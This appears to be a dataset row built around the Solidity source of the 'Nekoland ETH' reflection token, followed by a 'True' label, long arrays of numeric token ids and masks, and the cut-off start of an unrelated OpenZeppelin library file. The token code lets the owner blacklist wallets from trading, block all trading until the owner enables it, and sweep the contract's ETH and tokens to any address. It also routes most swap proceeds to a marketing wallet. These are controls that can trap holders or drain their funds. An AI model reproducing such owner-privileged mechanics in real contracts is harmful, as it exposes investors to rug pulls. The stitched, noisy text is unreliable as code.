uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IAirdrop {
function airdrop(address recipient, uint256 amount) external;
}
contract Nekoland is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private botWallets;
bool botscantrade = false;
bool public canTrade = false;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 69000000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address public marketingWallet;
string private _name = "Nekoland ETH";
string private _symbol = "$NKLD";
uint8 private _decimals = 9;
uint256 public _taxFee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 12;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 990000000000000000000 * 10**9;
uint256 public numTokensSellToAddToLiquidity = 690000000000000000000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function airdrop(address recipient, uint256 amount) external onlyOwner() {
removeAllFee();
_transfer(_msgSender(), recipient, amount * 10**9);
restoreAllFee();
}
function airdropInternal(address recipient, uint256 amount) internal {
removeAllFee();
_transfer(_msgSender(), recipient, amount);
restoreAllFee();
}
function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){
uint256 iterator = 0;
require(newholders.length == amounts.length, "must be the same length");
while(iterator < newholders.length){
airdropInternal(newholders[iterator], amounts[iterator] * 10**9);
iterator += 1;
}
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setMarketingWallet(address walletAddress) public onlyOwner {
marketingWallet = walletAddress;
}
function upliftTxAmount() external onlyOwner() {
_maxTxAmount = 69000000000000000000000 * 10**9;
}
function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() {
require(SwapThresholdAmount > 69000000, "Swap Threshold Amount cannot be less than 69 Million");
numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9;
}
function claimTokens () public onlyOwner {
// make sure we capture all BNB that may or may not be sent to this contract
payable(marketingWallet).transfer(address(this).balance);
}
function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() {
tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this)));
}
function clearStuckBalance (address payable walletaddress) external onlyOwner() {
walletaddress.transfer(address(this).balance);
}
function addBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = true;
}
function removeBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = false;
}
function getBotWalletStatus(address botwallet) public view returns (bool) {
return botWallets[botwallet];
}
function allowtrading()external onlyOwner() {
canTrade = true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
// add the marketing wallet
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 marketingshare = newBalance.mul(80).div(100);
payable(marketingWallet).transfer(marketingshare);
newBalance -= marketingshare;
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!canTrade){
require(sender == owner()); // only owner allowed to trade or add liquidity
}
if(botWallets[sender] || botWallets[recipient]){
require(botscantrade, "bots arent allowed to trade");
}
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | True | [
101,
1013,
1013,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
11265,
3683,
3122,
6442,
2389,
1013,
1013,
4037,
1024,
16770,
1024,
1013,
1013,
11265,
3683,
3122,
1012,
5446,
1013,
1013,
1013,
10474,
1024,
16770,
1024,
1013,
1013,
10474,
1012,
4012,
1013,
11265,
3683,
3122,
8950,
6392,
1013,
1013,
11265,
3683,
3122,
2003,
1037,
25353,
14905,
10735,
2483,
1997,
2892,
1011,
4132,
2208,
1998,
1037,
2591,
4132,
1013,
1013,
2005,
7414,
1050,
6199,
2015,
1998,
2012,
2034,
4356,
1010,
2009,
2003,
2019,
11698,
1997,
1037,
3888,
2073,
1013,
1013,
5198,
2031,
2000,
11529,
2046,
1996,
5913,
2088,
1997,
11265,
3683,
3122,
1010,
9613,
2011,
1013,
1013,
7329,
15525,
8870,
1998,
2062,
1012,
1013,
1013,
6160,
1037,
4435,
2047,
2377,
1011,
1016,
14644,
2078,
18804,
16070,
2208,
1011,
11265,
3683,
3122,
999,
2377,
1004,
12256,
20624,
4371,
1011,
3443,
1010,
1013,
1013,
3857,
1998,
11598,
2115,
10355,
3325,
2478,
4132,
9710,
19204,
1002,
25930,
6392,
1012,
1013,
1013,
2065,
2017,
1521,
2128,
3110,
2066,
1037,
6323,
1999,
1037,
5931,
1011,
2017,
1521,
2128,
2012,
1996,
2157,
2173,
1012,
1013,
1013,
2057,
2024,
3407,
2000,
3073,
10904,
17277,
2007,
1037,
3382,
2000,
3693,
2256,
2155,
1998,
1013,
1013,
9002,
2000,
1996,
2622,
999,
2035,
1996,
2136,
2097,
2022,
2128,
18351,
2098,
2007,
1037,
2440,
6095,
1997,
2037,
2147,
2004,
1050,
6199,
2015,
1012,
1013,
1013,
9308,
1010,
2017,
1521,
2222,
4374,
2256,
9710,
19204,
1002,
25930,
6392,
2004,
1037,
6781,
999,
1012,
2017,
2064,
3582,
2256,
14409,
2006,
10474,
1030,
11265,
3683,
3122,
8950,
6392,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1023,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: GPL-3.0-or-later
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b > 0, errorMessage);
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
